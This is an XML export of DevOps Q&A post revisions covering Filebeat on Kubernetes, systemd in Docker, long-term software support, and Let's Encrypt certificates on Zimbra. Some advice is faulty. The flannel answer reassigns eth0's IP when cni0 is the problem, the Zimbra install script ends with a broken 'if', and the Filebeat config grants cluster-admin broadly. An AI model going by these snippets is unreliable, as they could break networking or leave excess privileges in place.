  <row Id="21360" PostHistoryTypeId="5" PostId="5831" RevisionGUID="e6c77645-002f-4a34-be83-aa82d9bebc22" CreationDate="2019-03-29T19:49:55.607" UserId="40" Comment="deleted 4 characters in body" Text="I need to receive all container logs using Filebeat autodiscover. When I deployed Filebeat to Kubernetes without using helm, I got all the container logs in the first attempt. I want to do the same with helm. However, because I applied a very complex configuration, I cannot receive the log files from all containers, PodList returns just this node container log. I can't find out how I did it on my first try. The first option that came to my mind was to give the serviceaccount a cluster-admin role. But I could not access all the log files again when I tried it.&#xD;&#xA;&#xD;&#xA;How to access all container log list using Filebeat Autodiscover (deamonset is a bad solution)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat-config&#xD;&#xA;      namespace: bau&#xD;&#xA;      labels:&#xD;&#xA;        k8s-app: filebeat&#xD;&#xA;    data:&#xD;&#xA;      filebeat.yml: |-&#xD;&#xA;        filebeat.autodiscover:&#xD;&#xA;          providers:&#xD;&#xA;            - type: kubernetes&#xD;&#xA;              templates:&#xD;&#xA;                - condition:&#xD;&#xA;                    equals:&#xD;&#xA;                      kubernetes.namespace: bau&#xD;&#xA;                  config:&#xD;&#xA;                    - type: docker&#xD;&#xA;                      containers.ids:&#xD;&#xA;                        - &quot;${data.kubernetes.container.id}&quot;&#xD;&#xA;        output.elasticsearch:&#xD;&#xA;          hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']&#xD;&#xA;        setup.template.settings:&#xD;&#xA;          index.number_of_shards: 5&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1beta1&#xD;&#xA;    kind: ClusterRoleBinding&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;    subjects:&#xD;&#xA;    - kind: ServiceAccount&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;    roleRef:&#xD;&#xA;      kind: ClusterRole &#xD;&#xA;      name: cluster-admin &#xD;&#xA;      apiGroup: rbac.authorization.k8s.io&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ServiceAccount&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;      labels:&#xD;&#xA;        k8s-app: filebeat&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: filebeat&#xD;&#xA;      namespace: bau&#xD;&#xA;    spec:&#xD;&#xA;      serviceAccountName: filebeat&#xD;&#xA;      containers:&#xD;&#xA;      - name: filebeat&#xD;&#xA;        image: &quot;10.6.155.20:5000/filebeat:6.5.3&quot;&#xD;&#xA;        args: [&#xD;&#xA;          &quot;-c&quot;, &quot;/etc/filebeat.yml&quot;,&#xD;&#xA;          &quot;-e&quot;,&#xD;&#xA;        ]&#xD;&#xA;        env:&#xD;&#xA;        - name: ELASTICSEARCH_HOST&#xD;&#xA;          value: bau-sla-elasticsearch&#xD;&#xA;        - name: ELASTICSEARCH_PORT&#xD;&#xA;          value: &quot;9200&quot;&#xD;&#xA;        securityContext:&#xD;&#xA;          runAsUser: 0&#xD;&#xA;          fsGroup: 2000&#xD;&#xA;        resources:&#xD;&#xA;          limits:&#xD;&#xA;            memory: 200Mi&#xD;&#xA;          requests:&#xD;&#xA;            cpu: 100m&#xD;&#xA;            memory: 100Mi&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - name: config&#xD;&#xA;          mountPath: /etc/filebeat.yml&#xD;&#xA;          readOnly: true&#xD;&#xA;          subPath: filebeat.yml&#xD;&#xA;        - name: data&#xD;&#xA;          mountPath: /usr/share/filebeat/data&#xD;&#xA;        - name: varlibdockercontainers&#xD;&#xA;          mountPath: /var/lib/docker/containers&#xD;&#xA;          readOnly: true&#xD;&#xA;      volumes:&#xD;&#xA;      - name: config&#xD;&#xA;        configMap:&#xD;&#xA;          defaultMode: 0600&#xD;&#xA;          name: filebeat-config&#xD;&#xA;      - name: varlibdockercontainers&#xD;&#xA;        hostPath:&#xD;&#xA;          path: /var/lib/docker/containers&#xD;&#xA;      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart&#xD;&#xA;      - name: data&#xD;&#xA;        hostPath:&#xD;&#xA;          path: /var/lib/filebeat/bau&#xD;&#xA;          type: DirectoryOrCreate&#xD;&#xA;    ---" ContentLicense="CC BY-SA 4.0" />
  <row Id="21361" PostHistoryTypeId="5" PostId="2748" RevisionGUID="083b98f5-6203-4701-bf3d-346a7e34cac7" CreationDate="2019-03-29T19:51:37.623" UserId="13154" Comment="Fix unicode quotes" Text="According to [this blog][1], it is possible to run systemd inside a docker container by building the following dockerfile&#xD;&#xA;&#xD;&#xA;&gt;     FROM fedora:rawhide&#xD;&#xA;&gt;     MAINTAINER &quot;Dan Walsh&quot; &lt;dwalsh@redhat.com&gt;&#xD;&#xA;&gt;     ENV container docker&#xD;&#xA;&gt;     RUN yum -y update; yum clean all&#xD;&#xA;&gt;     RUN yum -y install systemd; yum clean all;&#xD;&#xA;&gt;     (cd /lib/systemd/system/sysinit.target.wants/; for i in *; do [ $i == systemd-tmpfiles-setup.service ] || rm -f $i; done);&#xD;&#xA;&gt;     rm -f /lib/systemd/system/multi-user.target.wants/*;&#xD;&#xA;&gt;     rm -f /etc/systemd/system/*.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/local-fs.target.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/sockets.target.wants/*udev*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/sockets.target.wants/*initctl*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/basic.target.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/anaconda.target.wants/*;&#xD;&#xA;&gt;     VOLUME [ &quot;/sys/fs/cgroup&quot; ]&#xD;&#xA;&gt;     CMD [&quot;/usr/sbin/init&quot;]&#xD;&#xA;&#xD;&#xA;using this command&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt;     docker build -t httpd_rawhide .&#xD;&#xA;&#xD;&#xA;The author indicates that the built docker image could be used as a base image&#xD;&#xA;&#xD;&#xA;&gt;     FROM systemd_rawhide&#xD;&#xA;&gt;     RUN yum -y install httpd; yum clean all; systemctl enable httpd.service&#xD;&#xA;&gt;     EXPOSE 80&#xD;&#xA;&gt;     CMD [&quot;/usr/sbin/init&quot;]&#xD;&#xA;&#xD;&#xA;and if the container is run&#xD;&#xA;&#xD;&#xA;&gt;     docker run –privileged -ti -v /sys/fs/cgroup:/sys/fs/cgroup:ro -p 80:80 httpd_rawhide&#xD;&#xA;&#xD;&#xA;systemd will run inside the docker container. It is also possible to run multiple services using systemd. According to the creator of this blog it would be possible to run both mariadb and http inside the same container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on this blog and other articles I read my conclusion is that it is technically possible to run systemd inside a docker container, but I would recommend to avoid running systemd inside a container. &#xD;&#xA;&#xD;&#xA;First of all, if systemd is able to run inside a container then this means that it is possible to run multiple services like the author did. From a docker perspective this is not recommended as docker is meant to scale horizontally, i.e. if the load increases of http then addtional docker images should be started. &#xD;&#xA;&#xD;&#xA;Second, if such a systemd container will be deployed on an orchestration platform like docker swarm. Will that work? I have some doubts whether that will work. &#xD;&#xA;&#xD;&#xA;Third, Running systemd by mounting the cgroup in a privileged container does not look very secure. &#xD;&#xA;&#xD;&#xA;In conclusion, although you indicated that the script requires systemd, either rewrite the code or use something else. Running systemd inside a docker container should be avoided in my opinion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.redhat.com/blog/2014/05/05/running-systemd-within-docker-container/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21362" PostHistoryTypeId="24" PostId="2748" RevisionGUID="083b98f5-6203-4701-bf3d-346a7e34cac7" CreationDate="2019-03-29T19:51:37.623" Comment="Proposed by 13154 approved by -1 edit id of 963" ContentLicense="CC BY-SA 4.0" />
  <row Id="21363" PostHistoryTypeId="5" PostId="2748" RevisionGUID="e009def4-5fbe-4e49-99c2-34eb50b88a09" CreationDate="2019-03-29T19:51:37.623" UserId="40" Comment="deleted 6 characters in body" Text="According to [this blog][1], it is possible to run systemd inside a docker container by building the following dockerfile:&#xD;&#xA;&#xD;&#xA;&gt;     FROM fedora:rawhide&#xD;&#xA;&gt;     MAINTAINER &quot;Dan Walsh&quot; &lt;dwalsh@redhat.com&gt;&#xD;&#xA;&gt;     ENV container docker&#xD;&#xA;&gt;     RUN yum -y update; yum clean all&#xD;&#xA;&gt;     RUN yum -y install systemd; yum clean all;&#xD;&#xA;&gt;     (cd /lib/systemd/system/sysinit.target.wants/; for i in *; do [ $i == systemd-tmpfiles-setup.service ] || rm -f $i; done);&#xD;&#xA;&gt;     rm -f /lib/systemd/system/multi-user.target.wants/*;&#xD;&#xA;&gt;     rm -f /etc/systemd/system/*.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/local-fs.target.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/sockets.target.wants/*udev*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/sockets.target.wants/*initctl*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/basic.target.wants/*;&#xD;&#xA;&gt;     rm -f /lib/systemd/system/anaconda.target.wants/*;&#xD;&#xA;&gt;     VOLUME [ &quot;/sys/fs/cgroup&quot; ]&#xD;&#xA;&gt;     CMD [&quot;/usr/sbin/init&quot;]&#xD;&#xA;&#xD;&#xA;using this command:&#xD;&#xA;&#xD;&#xA;&gt;     docker build -t httpd_rawhide .&#xD;&#xA;&#xD;&#xA;The author indicates that the built docker image could be used as a base image&#xD;&#xA;&#xD;&#xA;&gt;     FROM systemd_rawhide&#xD;&#xA;&gt;     RUN yum -y install httpd; yum clean all; systemctl enable httpd.service&#xD;&#xA;&gt;     EXPOSE 80&#xD;&#xA;&gt;     CMD [&quot;/usr/sbin/init&quot;]&#xD;&#xA;&#xD;&#xA;and if the container is run&#xD;&#xA;&#xD;&#xA;&gt;     docker run –privileged -ti -v /sys/fs/cgroup:/sys/fs/cgroup:ro -p 80:80 httpd_rawhide&#xD;&#xA;&#xD;&#xA;systemd will run inside the docker container. It is also possible to run multiple services using systemd. According to the creator of this blog it would be possible to run both mariadb and http inside the same container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on this blog and other articles I read my conclusion is that it is technically possible to run systemd inside a docker container, but I would recommend to avoid running systemd inside a container. &#xD;&#xA;&#xD;&#xA;First of all, if systemd is able to run inside a container then this means that it is possible to run multiple services like the author did. From a docker perspective this is not recommended as docker is meant to scale horizontally, i.e. if the load increases of http then addtional docker images should be started. &#xD;&#xA;&#xD;&#xA;Second, if such a systemd container will be deployed on an orchestration platform like docker swarm. Will that work? I have some doubts whether that will work. &#xD;&#xA;&#xD;&#xA;Third, Running systemd by mounting the cgroup in a privileged container does not look very secure. &#xD;&#xA;&#xD;&#xA;In conclusion, although you indicated that the script requires systemd, either rewrite the code or use something else. Running systemd inside a docker container should be avoided in my opinion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.redhat.com/blog/2014/05/05/running-systemd-within-docker-container/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21369" PostHistoryTypeId="6" PostId="6730" RevisionGUID="be21ed43-8793-4da3-a539-2fa2a2b87a06" CreationDate="2019-03-30T05:50:52.873" UserId="13146" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21373" PostHistoryTypeId="50" PostId="6130" RevisionGUID="9abcb00c-55cd-4c4a-9c45-e4e96c8ceade" CreationDate="2019-03-30T14:52:21.403" UserId="-1" />
  <row Id="21374" PostHistoryTypeId="50" PostId="4693" RevisionGUID="8e8ed348-5473-4d86-9f0e-912ea0900931" CreationDate="2019-03-30T16:01:35.280" UserId="-1" />
  <row Id="21378" PostHistoryTypeId="5" PostId="5681" RevisionGUID="dc5a327b-a493-445e-b9d8-02f1591654ca" CreationDate="2019-03-31T08:54:15.793" UserId="10599" Comment="added 2 characters in body; added 9 characters in body" Text="**TL;DR** Pick software that focuses on long-term support. Use containers so that you can separate the runtime you need for your app from the security patching of the underlying infrastructure. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;I used to run some old PHP sites running popular content management systems. The plugins would fall out of support such that I could not upgrade the content management system else the plug-ins would break. So then I would stick on the latest major version things worked on and hope that no new security holes would come. I then ran monitoring software and manually fought off any scripts that got injected through security holes. Then the operating systems that support that old version of PHP I needed would fall out of support. I then couldn't easily move the hoster to take better use of cheaper deals or high availability. So I would find ports of the legacy PHP I needed onto the oldest version of an OS that hosters would support. Total nightmare. &#xD;&#xA;&#xD;&#xA;What this demonstrated to me was that some software isn't built to last more than three or four years. Millions of sites would have had the same issues as me but tens of millions more wouldn't have as they would have been shutdown else rebuilt from scratch on newer software. So the first lesson here is that if you think you need to build for the long term you need to figure out if your using software that cares about long-term support and has a published lifetime. &#xD;&#xA;&#xA;The world has moved on and the PHP7 world is taking a new approach to having a predictable software release cycle and lifetime (still quite short I might add, but more predictable). You should not just assume nor expect any distro or any community to be with you for the long haul unless that is exactly what they said they are trying to do. And if that is what they are trying to do then they won't do other things that are in conflict with that such as run hot new framework features that are trending on stackoverflow. &#xD;&#xA;&#xD;&#xA;These days I happen to be helping a company that is running Node.js 8 and PHP 7.x on RHEL7 containers on kubernetes on AWS. They get long-term support of security updates with a published lifetime. I have automated the detection of new security patches to the PHP and Node.js containers. A weekly job checks the upstream container registry and if there is a new security patched version it is announce to a team chat room along with the command to patch the containers in the test environment. A commercial subscription to those patches is included in my managed kubernetes hosting costs. Yet as its all opensource I could fall back to using Centos7 if I wanted to cut some costs. &#xA;&#xA;As I am running containers I don't care whatsoever what patches are being applied to the IaaS nor the version of kubernetes I am hosted on. I am on openshift.com and they have upgraded to 3.11 through security fixes without telling me. They just patch the worker VMs and bounce them and kubernetes starts my containers on other VMs. I am insulated from all the security patching of the cluster I am on because I am running containers that have inside them the minimal operating environment needed to run my app. That only changes when I choose to upgrade to a new container and with long-term security patch support; I don't need to do that for years. I understand that the Kubernetes hosts that run my containers themselves run a very stripped down distro to maximise their security and customer density. It doesn't matter to me. The idea of an IaaS stack of Linux that goes out of support seems a totally alien concept to me now even through I lived many years with that problem. &#xD;&#xA;&#xD;&#xA;It also means that I am free to move to any cloud or hosting provider that can run my containers. It doesn't have to be kubernetes it could be Docker Swarm or whatever. All that I am betting on is that this better way of working with containers will be supported in the long term. I think that's a good bet. A container image is only a json file naming a load of tar files that are the layers in the image. Yes; its just tar files and json. As long as the container host can load my files from a tar and attach a TCP/IP stack my stuff will run. I am pretty confident that this approach will have a very, very long shelf life. &#xD;&#xA;&#xD;&#xA;I don't think that anyone that is trying to run apps should start out on IaaS today. PaaS is one solution but tends to have very strong vendor lock-in. CaaS is the new sweet spot. Choice. Stability. Control. Portability. If it runs under docker on your laptop just push it to the container orchestrator you are renting space on. My containers only have one thing in them. The hosts that they run on only does secure container hosting. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21382" PostHistoryTypeId="2" PostId="6737" RevisionGUID="5266c6dd-e089-41e7-9434-5b119d3c0a03" CreationDate="2019-03-31T14:06:00.113" UserId="11797" Text="**Description**: I am trying to install let's encrpyt SSL in my zimbra mail server but getting below error when run below command.&#xD;&#xA;&#xD;&#xA;**command**: /opt/zimbra/bin/zmcertmgr verifycrt comm privkey.pem cert.pem chain.pem&#xD;&#xA;&#xD;&#xA;**Error**:&#xD;&#xA;** Verifying ‘cert.pem’ against ‘privkey.pem’&#xD;&#xA;Certificate ‘cert.pem’ and private key ‘privkey.pem’ match.&#xD;&#xA;** Verifying ‘cert.pem’ against ‘chain.pem’&#xD;&#xA;ERROR: Unable to validate certificate chain: cert.pem: C = US, O = Let’s Encrypt, CN = Let’s Encrypt Authority X3&#xD;&#xA;error 2 at 1 depth lookup:unable to get issuer certificate " ContentLicense="CC BY-SA 4.0" />
  <row Id="21383" PostHistoryTypeId="1" PostId="6737" RevisionGUID="5266c6dd-e089-41e7-9434-5b119d3c0a03" CreationDate="2019-03-31T14:06:00.113" UserId="11797" Text="Unable to validate certificate chain: cert.pem in Zimbra mail server" ContentLicense="CC BY-SA 4.0" />
  <row Id="21384" PostHistoryTypeId="3" PostId="6737" RevisionGUID="5266c6dd-e089-41e7-9434-5b119d3c0a03" CreationDate="2019-03-31T14:06:00.113" UserId="11797" Text="&lt;ssl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21385" PostHistoryTypeId="2" PostId="6738" RevisionGUID="2f3df5b3-2440-4216-8b5a-d3bbcdde3cab" CreationDate="2019-03-31T16:58:43.900" UserId="13164" Text="I think complicating things is what everybody is getting appreciated for nowadays. I will try to answer this question in short .&#xD;&#xA;&#xD;&#xA;Source Repository is used for storing code and its versions, while artifactory is used for storing the executable programs that are outputs of those code [ binaries - dll, jar, war, ear,msi,exe files etc]&#xD;&#xA;&#xD;&#xA;Now the reason why you would want to place them separately in a repo which is different from your code could be many right from secure access,hacking threat, malicious code check ins or to simply have a separate avenue for the clients who just need the binaries. The technology of SCM could have divulged itself into creating 2 kind of users ( one with developer privileges who will be able to access the source code and another as a client who will just be able to access binaries) but it did not take that route. So now we have artifactories. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21386" PostHistoryTypeId="50" PostId="3947" RevisionGUID="66b0aa95-351e-4175-9d6c-e4f31f1be35b" CreationDate="2019-03-31T17:00:57.627" UserId="-1" />
  <row Id="21397" PostHistoryTypeId="2" PostId="6741" RevisionGUID="879f8fc9-d1aa-466b-8944-ad84087b8b39" CreationDate="2019-04-01T04:30:40.310" UserId="13073" Text="I found solution!&#xD;&#xA;&#xD;&#xA;If you has that troble check your network interfaces (**#ifconfig -a cni0**).&#xD;&#xA;Good config is:&#xD;&#xA;&#xD;&#xA;**cni0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1450&#xD;&#xA;        inet 10.244.0.1  netmask 255.255.255.0  broadcast 0.0.0.0...**&#xD;&#xA;		&#xD;&#xA;that subnet (10.244.0.0) configured in [flannel-deploy.yaml](https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml)&#xD;&#xA;&#xD;&#xA;But in default new server may have:&#xD;&#xA;&#xD;&#xA;**cni0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1450&#xD;&#xA;        inet 192.168.0.1  netmask 255.255.255.0  broadcast 0.0.0.0...**&#xD;&#xA;&#xD;&#xA;**change it!**&#xD;&#xA;&#xD;&#xA;_#ifconfig eth0 10.244.0.1 netmask 255.255.255.0 broadcast 0.0.0.0_" ContentLicense="CC BY-SA 4.0" />
  <row Id="21398" PostHistoryTypeId="2" PostId="6742" RevisionGUID="3a66869b-f39c-4307-bc08-bea895ecd05e" CreationDate="2019-04-01T04:36:21.827" UserId="11598" Text="This error occurring because you do not add root CA in your chain.pem file:&#xD;&#xA;&#xD;&#xA;add below chain in your chain.pem file:&#xD;&#xA;&#xD;&#xA;    -----BEGIN CERTIFICATE-----&#xD;&#xA;    MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/&#xD;&#xA;    MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT&#xD;&#xA;    DkRTVCBSb290IENBIFgzMB4XDTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVow&#xD;&#xA;    PzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQD&#xD;&#xA;    Ew5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB&#xD;&#xA;    AN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmTrE4O&#xD;&#xA;    rz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEq&#xD;&#xA;    OLl5CjH9UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9b&#xD;&#xA;    xiqKqy69cK3FCxolkHRyxXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw&#xD;&#xA;    7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40dutolucbY38EVAjqr2m7xPi71XAicPNaD&#xD;&#xA;    aeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV&#xD;&#xA;    HQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQMA0GCSqG&#xD;&#xA;    SIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69&#xD;&#xA;    ikugdB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXr&#xD;&#xA;    AvHRAosZy5Q6XkjEGB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZz&#xD;&#xA;    R8srzJmwN0jP41ZL9c8PDHIyh8bwRLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5&#xD;&#xA;    JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubSfZGL+T0yjWW06XyxV3bqxbYo&#xD;&#xA;    Ob8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ&#xD;&#xA;    -----END CERTIFICATE----- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;OR you can use below script for install Let's Encrypt SSL in your Zimbra server:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # SSL certificate installation in Zimbra&#xD;&#xA;    # with SSL certificate provided by Let's Encrypt (letsencrypt.org)&#xD;&#xA;    # Author: Subhash (serverkaka.com)&#xD;&#xA;    &#xD;&#xA;    # Check if running as root&#xD;&#xA;    if [ &quot;$(id -u)&quot; != &quot;0&quot; ]; then&#xD;&#xA;       echo &quot;This script must be run as root&quot; 1&gt;&amp;2&#xD;&#xA;       exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    read -p 'letsencrypt_email [xx@xx.xx]: ' letsencrypt_email&#xD;&#xA;    read -p 'mail_server_url [xx.xx.xx]: ' mail_server_url&#xD;&#xA;    &#xD;&#xA;    # Check All variable have a value&#xD;&#xA;    if [ -z $mail_server_url ] || [ -z $letsencrypt_email ]&#xD;&#xA;    then&#xD;&#xA;          echo run script again please insert all value. do not miss any value&#xD;&#xA;    else&#xD;&#xA;    &#xD;&#xA;    # Installation start&#xD;&#xA;    # Stop the jetty or nginx service at Zimbra level&#xD;&#xA;    su - zimbra -c 'zmproxyctl stop'&#xD;&#xA;    su - zimbra -c 'zmmailboxdctl stop'&#xD;&#xA;    &#xD;&#xA;    # Install git and letsencrypt&#xD;&#xA;    cd /opt/&#xD;&#xA;    apt-get install git&#xD;&#xA;    git clone https://github.com/letsencrypt/letsencrypt&#xD;&#xA;    cd letsencrypt&#xD;&#xA;    &#xD;&#xA;    # Get SSL certificate&#xD;&#xA;    ./letsencrypt-auto certonly --standalone --non-interactive --agree-tos --email $letsencrypt_email -d $mail_server_url --hsts&#xD;&#xA;    cd /etc/letsencrypt/live/$mail_server_url&#xD;&#xA;    cat &lt;&lt;EOF &gt;&gt;chain.pem&#xD;&#xA;    -----BEGIN CERTIFICATE-----&#xD;&#xA;    MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/&#xD;&#xA;    MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT&#xD;&#xA;    DkRTVCBSb290IENBIFgzMB4XDTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVow&#xD;&#xA;    PzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQD&#xD;&#xA;    Ew5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB&#xD;&#xA;    AN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmTrE4O&#xD;&#xA;    rz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEq&#xD;&#xA;    OLl5CjH9UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9b&#xD;&#xA;    xiqKqy69cK3FCxolkHRyxXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw&#xD;&#xA;    7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40dutolucbY38EVAjqr2m7xPi71XAicPNaD&#xD;&#xA;    aeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV&#xD;&#xA;    HQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQMA0GCSqG&#xD;&#xA;    SIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69&#xD;&#xA;    ikugdB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXr&#xD;&#xA;    AvHRAosZy5Q6XkjEGB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZz&#xD;&#xA;    R8srzJmwN0jP41ZL9c8PDHIyh8bwRLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5&#xD;&#xA;    JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubSfZGL+T0yjWW06XyxV3bqxbYo&#xD;&#xA;    Ob8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ&#xD;&#xA;    -----END CERTIFICATE-----&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    # Verify commercial certificate&#xD;&#xA;    mkdir /opt/zimbra/ssl/letsencrypt&#xD;&#xA;    cp /etc/letsencrypt/live/$mail_server_url/* /opt/zimbra/ssl/letsencrypt/&#xD;&#xA;    chown zimbra:zimbra /opt/zimbra/ssl/letsencrypt/*&#xD;&#xA;    ls -la /opt/zimbra/ssl/letsencrypt/&#xD;&#xA;    su - zimbra -c 'cd /opt/zimbra/ssl/letsencrypt/ &amp;&amp; /opt/zimbra/bin/zmcertmgr verifycrt comm privkey.pem cert.pem chain.pem'&#xD;&#xA;    &#xD;&#xA;    # Deploy the new Let's Encrypt SSL certificate&#xD;&#xA;    cp -a /opt/zimbra/ssl/zimbra /opt/zimbra/ssl/zimbra.$(date &quot;+%Y%m%d&quot;)&#xD;&#xA;    cp /opt/zimbra/ssl/letsencrypt/privkey.pem /opt/zimbra/ssl/zimbra/commercial/commercial.key&#xD;&#xA;    sudo chown zimbra:zimbra /opt/zimbra/ssl/zimbra/commercial/commercial.key&#xD;&#xA;    su - zimbra -c 'cd /opt/zimbra/ssl/letsencrypt/ &amp;&amp; /opt/zimbra/bin/zmcertmgr deploycrt comm cert.pem chain.pem'&#xD;&#xA;    &#xD;&#xA;    # Restart Zimbra&#xD;&#xA;    su - zimbra -c 'zmcontrol restart'&#xD;&#xA;    &#xD;&#xA;    # setting auto https redirect&#xD;&#xA;    cd /opt &amp;&amp; touch https-redirect.sh &amp;&amp; chown zimbra:zimbra https-redirect.sh &amp;&amp; chmod +x https-redirect.sh&#xD;&#xA;    cat &lt;&lt;EOF &gt;&gt;/opt/https-redirect.sh&#xD;&#xA;    zmprov ms $mail_server_url zimbraReverseProxyMailMode redirect&#xD;&#xA;    EOF&#xD;&#xA;    su - zimbra -c '/opt/https-redirect.sh'&#xD;&#xA;    rm /opt/https-redirect.sh&#xD;&#xA;    if&#xD;&#xA;&#xD;&#xA;read this link for more details: https://github.com/SubhashPatel/Install-Zimbra-mail-server-ubuntu/blob/master/configure-ssl-zimbra.sh" ContentLicense="CC BY-SA 4.0" />
